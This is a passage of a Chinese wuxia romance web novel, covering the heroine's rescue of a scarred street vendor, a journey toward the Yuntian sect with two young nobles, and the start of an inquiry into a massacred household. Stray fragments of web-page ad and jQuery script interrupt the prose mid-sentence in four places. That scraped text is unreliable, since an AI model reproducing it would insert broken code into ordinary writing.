于是,白清旭走在前面买,她跟在后面吃,基本上将灵州城的特色美食尝了个遍。 就在这时,白清旭停在了一家卖糕点的摊位前。季音见状,连忙抬起正在啃玉米的脑袋,快步跟了上去。 摊主是个十二三岁的小姑娘,模样清秀,笑靥如花。唯一美中不足的,便是她左边脸颊上有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一大片像是灼烧的伤痕。 见有客人,她连忙热情招呼道:“两位看看吃点儿什么?” 季音扫了一眼摊子,眸子瞬间亮了起来。她这人不怎么爱吃甜食,可唯有一样,是每次都要缠着下山的师兄师姐们带的。 “青枣酥。”白清旭摇着折扇:“都包起来吧。” 季音惊了:“你......你也爱吃青枣酥?!” 白清旭望着她手中吃的差不多的小食,似笑非笑道:“啧啧,笨女人,你这是打算全都吃干抹净啊。” 季音理不直气却壮:“怎么了,你叫我拿的时候就该想到会是这样。” 白清旭挑眉:“无所谓,给钱就行。” 季音瞪了他一眼,又望向打包好的糕点,悻悻道:“青枣酥......哼,算你有品。” 一旁的小姑娘道:“姐姐,我这青枣酥可是跟一位高人学的,整条小吃街只有我家有卖呢!你放心买,包好吃的!” 季音来了兴趣:“高人?” 小姑娘点点头,正准备开口,却突然被一阵笑声打断:“快看!丑丫头又出来摆摊了!” “看她的脸,像被虫子啃过一样,好恶心啊!” “哈哈哈,谁会买她家的东西啊,狗都不吃!” 季音听罢,黑着脸转身,只见几个与小姑娘年纪相仿的孩童嬉笑着围了过来。 果然,熊孩子之所以被人讨厌不是没有原因的。 她正打算出手给他们长长记性,却看到一胡子拉碴的男子气势汹汹地朝小姑娘走去。小姑娘明显很是害怕,瘦小的身躯颤抖着就往摊子后面缩。 季音突然便想起自己幼时被冥麟阁那些弟子欺凌的情形。 下一瞬,她已护在了小姑娘身前:“你干什么?” 男子显然没将季音放在眼中,唾沫星子溅了三尺高:“她爹娘三两银子把她卖给我了,她现在是老子的人!就算脸毁了,不值钱了,也得跟老子回家去干活!” 小姑娘拉着季音的衣角,颤声道:“三两银子......我已经......还给你了......” “三两银子,你打发叫花子呢!”男子说着就要动手:“你人是老子的,挣的钱当然也归老子......” 话音未落,一道金光突然从三人面前闪过! 一片死寂后,男子杀猪般的叫声贯穿了整条小吃街。 季音抬眸,却见几张金箔穿过男子的衣襟,将他整个人挂在了摊子后的墙上。 紧接着,无数金箔从天而降,金光闪闪,洋洋洒洒,映得整条街都亮了起来。 季音看傻了,连忙顺着金箔飘下来的方向望去。 位于酒馆三楼的雅间,一黄衣少年正侧身坐在窗前,手中扬起的金箔熠熠发亮:“这姑娘的自由,小爷我买了。” 不知为何,此话一出,季音竟有种在看话本的错觉。 突然,清脆的巴掌声与哀嚎声一同从窗口传来。再抬头时,只见黄衣少年惨兮兮地抱着脑袋,身旁不知何时还多了一位绿衣少年:“装腔作势,哪里学的。” 16. 相府公子 黄衣少年显然不服,转头就跟绿衣少年争论起来。 趁此功夫,季音赶紧将身后发抖的小姑娘拉了起来:“没事了,快回家去吧。” 她自诩这句安慰话说得没什么问题,哪成想却像是戳到了小姑娘的伤心事,原本只是受了惊吓,这会儿却直接大哭起来:“我没有家啊......没有家了......” 这可给季音惊得不轻——她最不擅长安慰人,尤其还是被自己惹哭的人,一时间手忙脚乱的:“不是......你别哭啊,你家里出什么事了?” 话一出口,季音就后悔了。小姑娘本就因此事哭个不停,眼下她却又追问,这不是揭人伤疤是什么? 许是季音方才闪身护住了她,总而言之,出乎季音意料,小姑娘竟真的停止了哭泣,抽抽搭搭道:“我的家......六年前遭了火,爹,娘,还有弟弟......都......都找不到了......” “六年前遭了火?”季音几乎是下意识道:“你家......不会是和柳村吧?!” 小姑娘点了点头。 “你爹娘将你卖给那种坏人,这个家还有什么好留念的?” 脆亮的声音响起,季音转身,只见方才在雅间的两位少年不知何时来到了她们身边。 见小姑娘不答,黄衣少年继续道:“要我说,你那爹娘也不是什么好人!竟然将亲生女儿卖给这种男人,真是丧尽天良......诶诶诶,你拽我干嘛?!” 绿衣少年已将他扯到了一旁:“言多必失,出门前我交代过。”说罢,他转向小姑娘,拱手行礼道:“方才多有冒犯,还请见谅。” “不......不是这样!”小姑娘急道:“是......是我自己要跟他走的!我娘眼睛不好,爹又摔伤了腿,我要是不去,弟弟一定会被饿死的!” 黄衣少年一脸震惊:“啊?!可是那家伙才给你三两银子,这点儿钱够干什么......唔唔唔!你干嘛......唔!” 季音纳闷,搭眼望去,却见绿衣少年面带微笑地捂住了他的嘴巴。 小姑娘低下了头,一张小脸涨得通红:“三两银子......很......很多了......” 就在这时,原本吓得不轻的男子似是醒了神智,从摊子上抓起一把菜刀就冲了过来,仍不死心地要将小姑娘带走。 黄衣少年最先反应:“小心后面!” 绿衣少年神色一紧,反手将他护在了身后。 眼见刀子就要刺中小姑娘,季音只感觉脑袋一热,一把将她捞到怀中,飞身就是一脚踹出! “砰!” 众人顺着声音传来的方向看去,只见男子整个身体几乎砸进了墙里,口吐鲜血,没了动静。 一阵诡异的寂静后,围观人群突然爆发出热烈的掌声。 “这小女娃身手可以啊!” “是啊,那男的可还拿着刀呢!” 季音立在原地,还有点儿发懵,黄衣少年却不知何时来到了她面前,满脸崇拜道:“原来是位女侠姐姐啊!” “女......女侠姐姐?” 不知怎的,一听到这几个字,季音就感觉浑身不自在,甚至有些难以名状的......羞耻。 “是啊,女侠......诶!”黄衣少年似是还想说些什么,却被身旁的绿衣少年一把拽了过去:“丢人现眼,毫不收敛。” 黄衣少年不服气:“什么意思,嫌我给你丢人啊?”说罢,他随手搭上了绿衣少年的肩膀:“你要能一脚踹的坏人落花流水,小爷我定然也敬你一声‘大侠威武’!” 季音望着面前一唱一和的两人,忍不住笑出了声。 黄衣少年眸亮若星,朝气蓬勃,言行举止皆随心而动,瞧着便是凛然少年气的模样。而绿衣这个,眉眼霁明,温雅端净,虽瞧着年岁不大,却气度从容,给人以稳重自持的感觉。 她突然就想起了自己与师姐,没来由对他们添了几分好感。 绿衣少年不留痕迹地推开身旁之人,缓步走至季音面前,拱手行礼:“在下裴诀,方才让姑娘见笑了,我代子修向姑娘赔罪。不过“女侠姐姐”四字虽略显轻浮,却是真心称赞,还请姑娘不要见怪。” “裴诀”二字一出,不远处的白清旭摇扇的动作一顿。 被这般郑重其事地道歉,季音只感觉更不自在了,连忙摆手道:“怎么会,有人夸我,我开心还来不及呢!” 裴诀微笑道:“如此甚好。瞧姑娘身手不凡,在下不由得心生几分敬佩,请问姑娘芳名?” “噗嗤。”一旁的付子修捂着肚子笑出了声:“我还以为你有多会呢!‘请问姑娘芳名’,这么老掉牙的话术你也说得出口!” 说罢,他十分熟练地挤到了裴诀前面:“女侠姐姐,我叫付子修,前几日刚过了十六岁生辰,这声姐姐应该没有喊错吧!” “当然没有。”季音望着少年明快的笑容,只感觉心情都变好了:“不过女侠不敢当,两位叫我季音就好。” “女侠姐姐?”熟悉的声音响起,带着几分哂笑:“要我说,不如笨女人来得好听。” 季音看向身边的白清旭,一张脸瞬间黑了一半:“果然,人与人之间的差距就是如此悬殊。” 瞧见来人,裴诀眸光微闪:“请问这位公子,我们是不是......在哪里见过?” 他说话时的神情随意,语调也极为温和,但不知怎的,季音竟从中感受到了一丝不易察觉的......压迫。 没错,是压迫。明明只是个与她年纪相仿的少年,却给人以难以名状的恐惧,就好似棋局对弈,永输半子。 “是吗?”白清旭摊了摊手:“不过也难怪。毕竟我可是闻名天下的钱来楼大老板,见过我算不得什么稀罕事。” 听到此话,付子修瞬间来了精神:“真的假的?!你就是那位传说中的钱来楼老板吗?!” 季音傻了:“传......传说中?” 付子修兴致勃勃地正要开口,却被裴诀出声打断:“今日与二位相见,即是有缘。”说罢,他环顾四周:“只是此处人密口杂,多有不便。不如请二位酒楼入座,歇息片刻?” 诚然,这几人站在一起,性格脾气暂且抛开不谈,模样外形可都极为养眼。加之方才闹出来的动静,早就被小吃街上的百姓围了个水泄不通。 季音顾念着赶路,正待上前一步赔笑拒绝,却被白清旭抢了先:“好啊,那就恭敬不如从命了。” 眼见对方就要跟着那两人上楼,季音一愣, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旋即扯住他的衣袖,低声急道:“臭骗子,你搞什么!” “自然是去蹭饭啊。”白清旭望着她手中所剩无多的小食:“我可还饿着肚子呢。” ......好像也是。 于是,安顿好卖青枣酥的小姑娘后,季音跟着众人上了酒楼。 方才在小吃街上,她便注意到了这两名少年所穿的衣裳——上好的云锦缎料,再加上那成把成把洒出去的金箔,定然是富贵人家的小公子。 果不其然,季音屁股还没坐稳,名酒名菜就一道接着一道端了上来。 紧接着,付子修便滔滔不绝地讲起关于钱来楼老板的见闻来。诸如饭菜便宜实惠,经营模式新颖,侍者薪酬丰厚,百姓好评如潮云云,听得季音认知颠覆,甚至开始怀疑是不是有两个钱来楼老板。 “不止这些。”付子修越说越来劲:“上次我在爷爷的书房偷看奏本,像是安阳城洪涝水患,莲峰城干旱蝗灾这些,每回他都是首个捐款赈灾的......” 话音未落,他似是突然想起了什么,赶紧瞥了裴诀一眼。 裴诀则是一副“早知如此”的模样,叹了口气。 季音回忆起白清旭坑蒙拐骗时的那副嘴脸,不可置信地望着他:“......我的天,这说的是你?” 白清旭倒是应得痛快:“嗯,实话。” “不过......”他话锋一转,将目光转向了付子修:“想不到左相家的小公子也来灵州城玩儿了?” “左相?什么左相?”季音讶然:“你刚才说的爷爷......是左相付朝?!” 付子修清了清嗓子,戳了裴诀两下:“这可不能赖我啊,是人家自己猜出来的。” 裴诀扶额叹息,同时甩了他一记看傻子的眼神。 付子修倒像是卸掉什么包袱似的:“女侠姐姐说得不错。”顿了一顿,他神神秘秘道:“不过我与裴兄此番并不是来玩儿的。” 季音:“?” 付子修:“我们是去云天派拜师学艺的!” “噗!”季音一口茶全喷在了白清旭身上。 付子修吓了一跳:“怎么了,难道这茶有问题?!” 白清旭则是不紧不慢地擦着衣服:“三百两。” 季音急道:“咳咳......不是,跟茶没关系。” 夭寿啊! 平日里也没见这云天派有多火,怎么这会儿魔教弟子,酒楼老板,甚至连左相府的小公子都挤着往里赶了? 裴诀微笑:“莫不是......两位与我们目的一致?” 季音见状,也不瞒了:“确实如此。” 她在入酒楼前便暗暗探过这两位少年郎的内力。付子修不必多说,官宦人家的小少爷。虽满怀闯荡江湖的一腔热血,却并未认真学过武功,身手最多也就勉强自保,不足为惧。 至于裴诀,虽不知他身份为何,但仅凭付子修对他的态度,猜也猜得出其与左相府渊源颇深。尽管此人言行举止间都是一副文人做派,可季音还是感知到了一丝内力波动,想来他在武功上有些造诣,只不过并非高手,倒也能应付。 “真的吗?”付子修显得十分惊喜:“女侠姐姐,你们也要去云天派啊!既然如此,咱们同去如何?人多了热闹!” 17. 少年往事 “好啊!” 热不热闹不知道,但定然有助于季音浑水摸鱼。 “那咱们出发吧!”付子修是个说走就走的性子,拉起季音便要出门。只是人还没站起来,就被裴诀一把摁在了椅子上。 付子修显然不太乐意:“裴兄,你今日怎么总是拦我?” “我平日里怎么跟你说的,三思后行,切莫冲动。”说罢,裴诀望向白清旭,语气添了几分认真:“这位公子身上还有伤,依我看,不如休息几日,待伤愈后再赶路也不迟。” 受伤? 季音一怔,这几日他们吃住都在一起,若这家伙真受了伤,她怎么可能会毫无察觉? 难道…… 季音突然想起前不久自己中毒之事。 说起来,她根本没问过这家伙从哪里弄来的解药,又是如何替她解的毒。 不待白清旭反应,季音抢先一步撩起他的衣袖——果不其然,缠在手腕上雪白的细布已被鲜血染得通红。 她眸子一震,正要逼问,却被白清旭抢了先:“啊,你说这个。前几日没留神,被狗咬了一口,那狗凶得很,且十分缠人。”说罢,他唇角轻扬,望向季音:“不过与你相比,倒还算温顺。” 呵呵。 看来她真是想太多了。 就这种品性的家伙,怎么可能为了救她而受伤?! 经过这段时间的相处,季音自诩摸透了他的话术,决心不能再被他轻易激怒,挣扎半天后挤出一个笑容:“是啊,这要换了我,高低卸你条胳膊!” 裴诀看着面前拌嘴的两人,了然一笑:“看公子精神尚佳,倒是在下多虑了。”他起身,但目光仍停留在白清旭身上:“只是聊了许久,还不知公子姓名?” 白清旭收了折扇,对上面前之人的视线,轻轻一笑:“钱惜。” 有了这两人同行,季音明显感觉热闹了许多。特别是付子修,一路上嘴巴就没怎么停过,叽里呱啦说个没完,拉着季音从朝堂政事聊到江湖秘闻,问得她脑瓜子嗡嗡作响,甚至开始好奇裴诀这一路上是怎么熬过来的。 终于,在乘马车赶往云天山时,趁着付子修吃茶休息的空档,季音插上了话:“对了,你身为左相府的小公子,为何不去国派,而要大老远跑来云天派拜师学艺?” “国派?”付子修不屑道:“爷爷说了,那地方牵扯太多官僚势力,早就被搅和的乌烟瘴气了,我才不去!” 顿了一顿,他又细数道:“至于剩下那几个,琼燕派,都是女子,繻泯观,都是道士,未央派,一群神叨叨的医官,挑来挑去,也只有云天派了。” 季音汗颜:“好像确实如此。那......你有没有考虑过魔教啊,比如......冥麟阁?” “呸!”魔教二字一出,付子修登时来了火气:“冥麟阁那群魔头害死我阿姐!还拜师?哼,看小爷学成后不一锅端了他们!” 季音显然没想到这个答案,思忖片刻,试探道:“你阿姐......叫什么名字?” 接话的是裴诀:“付栀年。” 这个名字季音并不陌生。付栀年虽为左相付朝的孙女,但其闻名于紫宸的却是兵器锻造之技——譬如百兵榜排名第十二位的皓骊剑,便是她少年时打造的第一把兵器。 只是她为何会与冥麟阁扯上联系? 季音又默念这名字几遍,突然想起来什么,下意识“啊”出了声。 当年萧夙墨与萧敬安乔装打扮混入冥麟阁,杀害老阁主司徒越,盗走赤霄剑,连夜潜逃下山,消失的无影无踪。 剑宗的苏尘长老知晓此事后,悲愤交加,决心替司徒越报仇雪恨。所幸功夫不负有心人,苏尘联合手下弟子,费劲千辛万苦,终是将伤痕累累的萧夙墨逼至悬崖边,再无路可退。 苏尘的佩剑乌蟒剑乃紫宸百兵榜排名十六的名剑,苏尘更是位列巅峰榜第九的高手,就算萧夙墨再怎么有本事,也已到了穷途末路的境地。 可谁能想到,就在苏尘决心一剑了结他时,他却反手扯下了脸上的银制面具。 面具之下,赫然是一位女子! 苏尘大惊,正要收手,那女子却不要命般撞上长剑,鲜血淋漓的双手死死抓住剑柄,拽着苏尘从那数百丈高的悬崖上一跃而下! 苏尘内力深厚,轻功了得,虽跌落悬崖,但也只是受了重伤,闭关将养数月便恢复如常。可那女子却被摔得粉身碎骨,面目全非,落了个尸骨无存的下场。 记得听闻此事后,季音第一时间就跑去剑宗打听那女子的身份,却仅得到了“付栀年”这个名字。 “冥麟阁该死,那萧夙墨更不是什么好人!”付子修的声音将季音拉回了现实:“把阿姐骗走不说,还害得她坠崖身亡,尸骨无存......阿姐明明是最怕高的!”说罢,他突然想起什么,狠狠咽了咽口水,转向裴诀:“裴兄,说好了,等我学成归来,咱们就去末名派揍扁他!” 裴诀看着付子修拼命忍住眼泪的模样,轻轻点头:“......好。” 付子修咧嘴一笑,一个熊抱扑向裴诀:“我就知道裴兄你对我最好了!” 裴诀似是早已料到他会来这么一出,却也不躲,任由他抱完后才满脸嫌弃地将他推开:“松手,三,二,一......” 两人又继续说了些什么,可季音却无心再听了。 既是官家贵女,又为何会与萧夙墨这种江湖人物扯上关系?甚至会打扮成他的模样,替他引开魔教之人的追杀? 季音想不明白,正打算再问问付子修,却见他正与裴诀闹得不可开交。他这人情绪来得快,去得却也快,方才还沉浸在自家阿姐身殒的悲愤中,与裴诀闹了这么一会儿,脸上竟又挂着笑了。 老实说,季音平日里看过不少话本子。虽说大都是男欢女爱,可诸如同性相惜的她也并非没有涉猎,而且她总感觉这类题材作者之文笔出奇精彩,一些插图更是配得生龙活虎,惟妙惟肖。 “你们关系真好。”季音有些羡慕地开口,同时不忘狠狠瞪了白清旭一眼:“明明都是结伴同行 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,为什么差距会这么大!” 听得此话,付子修竟颇为自豪道:“女侠姐姐,这你就不知道了吧!其实......”说着,他一把揽过裴诀:“我是裴兄的救命恩人!” 裴诀显然不愿提多谈此事,理了理衣袍转身喝茶去了。 不过季音是个爱八卦的,当即来了兴趣:“救命恩人?” “是啊!当时裴兄就昏倒在我家路边,高烧不退,伤口生疮,人都臭了!”这段话付子修似是逢人就说,说得无比顺畅:“也就是遇见小爷我这个大好人,给他抬回家救了三天三夜,这才勉强救活。” 坐在一旁看了半天戏的白清旭听得此话,似是突然来了兴趣,轻声笑道:“哦?这是什么时候的事?” 付子修挠了挠头:“好像是三年前吧。” 白清旭眉梢微挑,不再言语,继续欣赏起风景来。 季音接道:“然后呢?你就将裴诀收留在府中了吗?” 倒不是她多心。话本中与之相类似的情节也有不少,像什么千金小姐救下落魄皇子,却真情错付惨遭灭门,或是妙手医女捡到重伤乞儿,却沦为棋子含恨而终云云。总而言之,大都是些善良女子遇见负心男人的悲情戏码。 不过......她看了一眼说得正欢的付子修——别说他是男子,就算真遇见那话本中的“负心男人”,依这小公子的脾气,也定然不会让自己吃亏便是了。 那厢付子修听得季音发问,撇了撇嘴:“谁让他书读得多,字写得好,成了爷爷的贵客不说,还当了我的教书先生!” 原来是这样,季音心中明白了七八分。听闻付朝出身寒门,早年间周游各城,虽满腹才华,却因家世缘由屡屡碰壁,郁郁不得志,人到中年却仍如浮萍般漂泊。幸得白曦赏识,开寒门入朝为官先例,这才有了用武之地,终平步青云,位于万人之上。 也正因如此,付朝为官数十载,选贤用能,知人善任,府内门客幕僚众多,且多为才学渊博的寒门子弟。 这么看来,裴诀得了付朝赏识倒也是情理之中。 不过付子修显然没考虑过这些,只见他迅速瞥了裴诀一眼,压低声音道:“你们是不知道裴兄管我管得有多严,一张字帖居然要我练几千遍,真是地狱空荡荡,魔鬼在人间!” 季音不由得想起了程十鸢罚她课业时的情形,登时感同身受,面露菜色。 一旁的裴诀却仿若没有听见,仍自顾自地品茶。 付子修开了话匣,哪能这么容易就放过他,接连倒了诸如“卯时起戌时息”“多青菜少油荤”等苦水,听得季音想起了自家师姐,不由得龇牙咧嘴,心有余悸。 “严于律己,克己成己。”裴诀顿了一顿:“这也是你祖父的意思。” 付子修最不爱听的就是这些大道理,当即反驳道:“要我说,开开心心的比什么都强!整天睡也睡不够,吃也吃不香的,到时候......到时候......”他望着裴诀,似是突然发现了什么:“到时候就会像裴兄你一样,长不高!” 18. 另类拜师 季音一噎,差点儿被口水呛死。 她虽然身为女子,但深知诸如“身高”此类话题在男人中极为敏感,稍有不慎便可能伤人自尊,惹人不快。 果不其然,只见裴诀一怔,握着茶杯的手顿在了半空中。 虽然相较于白清旭与付子修,他确实生得瘦了些,矮了些,但还是高出季音许多的。况且裴诀乃一介书生,所谓腹有诗书气自华,几人走在一起时,倒让人忽视了他身高的不足。 可惜付子修没意识到这话题有何不妥,反倒像终于发现了裴诀不如他的地方,沾沾自喜道:“话说回来,裴兄,前几年你还高我一头呢,怎么样,如今被我赶超了吧!” 裴诀缓缓放下茶杯,脸上笑意却是不减。 不妙,若这两人真闹起来,只怕到时候还要她去拉架! 念及于此,季音赶紧去捂付子修的嘴:“哈哈,咱们换个话题,换个话题。”她转了转眼珠,决定旁敲侧击打探点儿消息:“不知道这云天派都有什么厉害角色,你们又打算拜入何人门下?” 云天派——因依傍于四面环水,蓊郁荫翳的云天山而得名。其创立于前朝太元国,风雨飘摇数百年,唯有“清心”与“妄心”两脉流传至今。二十年前,徐君彦继任云天掌门,将自创剑法融于幻境秘门,“清心”一脉日渐壮大,成了云天派立世之术。 然其门内大弟子何洛闵不顾师门劝诫,私自修习“妄心”禁术,遂有了四年前弑师叛道一事。故而自白清旭继任掌门后,不仅明令禁止门内弟子修习“妄心”,甚至将记载“妄心”一脉的典籍文献焚烧殆尽。 如今白清旭身为“清心”一脉的领头人,与座下“天玑”“天璇”两位长老一同管理云天内务。 “天玑长老魏奚泽,紫宸英雄榜第十九位,论资排辈,算是掌门白清旭的旁系师兄。此人性情温润,能力出众,自白清旭任掌门之位后,云天大小内务便一概交由他来管辖。” 裴诀说罢,转向付子修:“若能拜入此人门下,于你而言,多有裨益。” 付子修则是一脸嫌弃:“我才不要!拜他为师,然后呢?一起给那个不靠谱的掌门收拾烂摊子?” 季音附和:“没错,咱们又不是去当苦力的!” 白清旭依旧摇着折扇看戏,似笑非笑,不发一言。 似是早已料到付子修的态度,裴诀抿了口茶,继续道:“天璇长老李妙言,紫宸英雄榜第十五位,天香榜第六位,亦是白清旭的小师叔。” “天香榜?”季音来了兴趣:“这是什么榜?” 她还在霜余山时便知道,这紫宸别的不说,榜单是真的多。譬如武林中人最关注的巅峰榜,英雄榜,百兵榜,还有像是奇毒榜,琼浆榜,金玉榜等玩儿些花样的榜单,像是要将这世间所有人都比上一比,排上一排,分个高低。 “女侠姐姐,你竟不知道?”答她的是付子修:“天香天香,自然是美人榜了!” 美人?季音眸子一亮:“那你可知榜首是什么人?” 都说关关难过关关过,美人之关不可过。这世上爱看美人的男子多,女子更多。毕竟“第一美人”几个字,单是想想便叫人心驰神摇,热血上涌。 付子修显然跟她想的一样,脸颊迅速扬起一抹绯红,兴致勃勃地就要开口。 只是这名字还没说出来,便被裴诀泼了冷水:“此番为拜师学艺,收心敛性之行。你若脑中尽是这些杂七杂八的乱事,不如趁早打道回府。” 他声音不大,可气势极强。谈得正欢的两人悻悻对视一眼,旋即很是自觉地闭上了嘴。 “李妙言此人少言寡语,脾性冷淡,十余年来不曾收徒,不曾婚配,整日在云天山上练功,过得几乎是与世隔绝的日子。”裴诀抬眸:“就算你想拜她为师,也只会劳而无功。” 付子修立刻道:“小爷我本来也不想拜个武痴为师。” 季音却道:“她明明唤妙言,却不爱说话,所以果然是物极必反吗?” 白清旭笑道:“是啊,就比如你名为寂音,不也一样聒噪得很?” “......你不说话没人拿你当哑巴!” 裴诀望着面前拌嘴的两人,眸光微动,转而低头沏了壶新茶。 一旁的付子修则有些发愁。方才听裴诀分析一番,魏奚泽也好,李妙言也罢,虽都是响当当的武林大人物,却并非他心中想要的师父。 在他看来,仗剑悍正道,江湖任逍遥——这样的潇洒角色才符合他想象的江湖,才是他心心念念要拜的师父。 付子修托着脑袋寻思了半天,突然道:“对了,你们说白清旭收不收徒弟啊?” 这个问题......季音决定混入云天派之前,并非没有想过。空青扇乃四大神器之一,自会交由云天派历代掌门看管。若能拜入白清旭门下,对她盗取空青扇而言,定然是利大于弊。 可偏偏这白清旭是个不靠谱的荒唐性子。花天酒地,不务正业,只顾着自己逍遥自在,夸张到就连云天派的门内弟子都不知道他长什么模样,更别提拜他为师了。 更何况......季音看了裴诀一眼——以他的性格,定然不会同意让付子修拜这种人为师。 果不其然,只见裴诀淡淡道:“白清旭?此子性荒唐,行放荡,毫无一派掌门风范,倒是插科打诨的一把好手。别说拜他为师......”裴诀顿了一顿,似是无意间瞥向坐在一旁看热闹的白清旭:“就算他执意收你为徒,我也绝不应允。” 付子修本就是随口一说,见裴诀神情并无半分玩笑之意,连忙去扯他的胳膊:“好嘛好嘛,都听裴兄的!” 裴诀眼中的严肃缓和了几分,同时不忘收敛衣袖:“坐有坐相,这般拉拉扯扯像什么样子。” “切......我就扯!”被他这么一说,付子修瞬间来了脾气,似是故意要与裴诀作对般,扯得更凶了。 季音看得好笑,摇了摇脑袋,将目光对准了白清旭:“臭骗子,你要拜谁为师?” 白清旭摊手:“不应该是他们抢着收我为徒吗?” 季音发誓,上天入地,再也找不到一个脸皮比他还厚的人了。 她翻了个白眼:“你以为你是谁啊?云天掌门吗?” 白清旭眸中闪过一丝笑意:“话说回来......笨女人,你可是要拜云天掌门为师?” 季音一副“干嘛明知故问”的表情盯着他。 “然后呢,怎么拿到空青扇? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “偷呗,妙手神偷没听说过?要不就抢喽,实在不行......”她一愣,猛地顿住话头:“等等,关你什么事啊?” 白清旭摊手:“我可以帮你啊。” 季音冷笑一声:“你帮我?呵呵,我更愿意相信母猪会上树。” “空青扇既为神器,定会藏得不留痕迹,恐怕偷是偷不到的。”白清旭似笑非笑:“至于抢嘛......这白清旭再不济,好歹也是上了巅峰榜的,笨女人,你确定要跟他硬碰硬?” “那我就扑倒他!”季音不由得想起话本中的内容——细作为盗取宝物,故意接近目标,撩拨挑逗,待目标以身相许,遂杀之,带走宝物,功成身退。 “嗯,想法倒挺新奇。”白清旭勉强止住笑意:“不过笨女人,你就这么确定......他会喜欢你?” ...... 这家伙是专门来拆她台的不成?! “怎么,不喜欢我,难道喜欢你吗?”季音愠道:“告诉你,就你这样的,倒贴钱我都不扑!” 这么一吼,原本还在拌嘴的付子修与裴诀瞬间没了动静,同时将目光递了来。 就在这时,马车外突然传来一阵骚动。片刻后,一道温润的男声响起:“路窄难并行,在下急事缠身,不知能否麻烦几位暂退让行?” “堵一起了?”付子修嘟囔了一句,率先跳下了车。季音正愁不知该说些什么缓和气氛,见此情形,松了口气,紧随其后。 马车外的男子垂手而立,面相七分俊秀,三分稳重,眼角眉梢挂着微微的笑意,给人的第一印象便是随和可亲。 “好说好说。”付子修向来不在意这些小事,赶着马儿准备让路。 就在这时,裴诀拱手行礼,朗声开口:“不知魏长老此番下山,所谓何事?” “魏长老?”付子修懵了:“什么魏长老?哪个魏长老?” “此处乃云天地界,能得这声称呼的,自然只有天玑长老魏奚泽喽。”白清旭摇着折扇,缓步走至众人面前。 瞧见来人,魏奚泽目光一滞,旋即有些无奈的摇了摇头。 付子修向往闯荡江湖的逍遥生活,自然也崇敬这些江湖人物。故而一见到魏奚泽,他瞬间忘了让路这回事,抢着将他们这群人介绍了一遍不说,还不忘将此去云天拜师学艺之事添油加醋地讲了一遍。 他讲的兴头极盛,若不是裴诀咳嗽提醒,只怕连左相府的事情也要抖落出来了。 眼见魏奚泽面露难色,而付子修仍叽叽喳喳说个没完,裴诀上前一步,抬手将他扯了回来:“子修少年心性,向往江湖英雄,见到您激动欣喜溢于言表,一时话多了些,还请您见谅。”说罢,他遣了车马,让出路来:“魏长老既有要事在身,我们也不便继续打扰。” 经裴诀这么一提醒,付子修才意识到自己耽误了人家的时间,顿时心生歉意,连忙找补道:“要紧事?什么要紧事?您若是缺人手,我们也可以帮忙的!” 左右他们也要拜师云天,此番若能得了这位天玑长老另眼相看,岂非事半功倍? 魏奚泽不语,目光却望向立在一旁的白清旭。 虽仅有一瞬,但还是被季音看了个清楚。 19. 血洗梁府 她有些纳闷,只是不待细想,便被魏奚泽的声音打断:“如此甚好。” ......这也太好说话了吧?! 就这样,方才还讨论这位长老讨论的不可开交,眼下却直接上了人家的马车。 ...... 果然不愧是天下第二的云天派,连出行的马车都十分气派,就算再添上他们四人也极为宽敞。 马车内从左往右坐着三个少年,不出意外便是魏奚泽座下的三个弟子了。左边的年纪最大,约莫二十出头,相貌平平,中人之姿。若非要寻个词来形容,首先想到的定然是“老实巴交”。 “在下周序,天玑长老座下大弟子,还请多多指教。” 中间那个则有些不同——十多岁的年纪,头发微卷,剑眉星目,身旁立着把一人高的巨剑。听到季音几人上了马车,他飞快地瞥了一眼,旋即将头扭了回去。 “谢闻潇。” 冰冷低沉的声线,不想多谈的口吻,噎得季音只得挤了个笑容缓解尴尬。 至于最右边那个,则是个六七岁的幼童,小小的身子蜷缩成一团,垂着脑袋,不发一言。 裴诀显然也注意到了这孩子。只见他眉头一松,从怀中掏出两颗糖递了过去。 这可给季音惊得不轻——裴诀竟会随身携带这种哄小孩的玩意儿?还不待开口询问,裴诀已将目光转向了付子修:“哄他用的,一块糖能安静半天。” 果不其然,不等这六七岁的孩子说话,那厢十六七的付子修已将脑袋凑了过来:“哇,裴兄,你不是说没糖了吗!” “甜腻之物,不可多食。” 付子修正要反驳,却见那孩子眼睛一亮,朝着裴诀就扑了过去。 紧接着,出乎所有人的意料,他伸出小手,一把抱住了裴诀身旁的白清旭。 付子修笑得直不起腰来:“哈哈哈哈哈......裴兄啊裴兄,栽跟头了吧!” 裴诀却好像没听见他这番落井下石,只是顺手收起糖块,神情自若:“看来还是钱公子更讨小孩欢喜。” 一旁的魏奚泽清了清嗓子:“怀澈,在客人面前,不可失了礼数。” 被唤“怀澈”的小少年探出一颗毛茸茸的脑袋,却仍旧死死抱住白清旭的胳膊不放。 季音被这小团子可爱得不行,赶紧掏出刚买的青枣酥去哄:“想不想吃这个?” 怀澈不理,反倒是抓白清旭抓得更紧了。 这小家伙,在场这么多人,居然一下就找准了最老奸巨猾的那个!季音自讨没趣,只得悻悻啃起了手中的青枣酥。 眼瞧气氛有些尴尬,魏奚泽连忙陪着笑出来打圆场:“这孩子名为梁怀澈,是我新收的小徒弟。实不相瞒,此行我们正是要去梁府探查一番。” “梁府。”裴诀眉梢微动:“可是安阳城盐运使梁桓大人的府邸?” 魏奚泽点头:“不错。数日前,梁家惨遭灭门之灾,全府上下百余口人,一夜间尸横遍地,血流成河。因怀疑江湖势力牵扯其中,我便派遣一队弟子前去探查,恰巧救下了梁大人的幼子梁怀澈。” 不知为何,听得此话,季音总有种莫名其妙的不安感。 魏奚泽将目光转向梁怀澈:“本以为这孩子能给我们提供些线索,不成想自从他清醒后,便再也不会说话了。大夫说许是受了惊吓所致,最好的方法便是‘故地重游’,说不定能治好他这哑症。” 朝廷官员之事,季音不甚了解,但他们中显然有可以解惑的人。果不其然,魏奚泽话音未落,她与付子修便同时望向了裴诀。 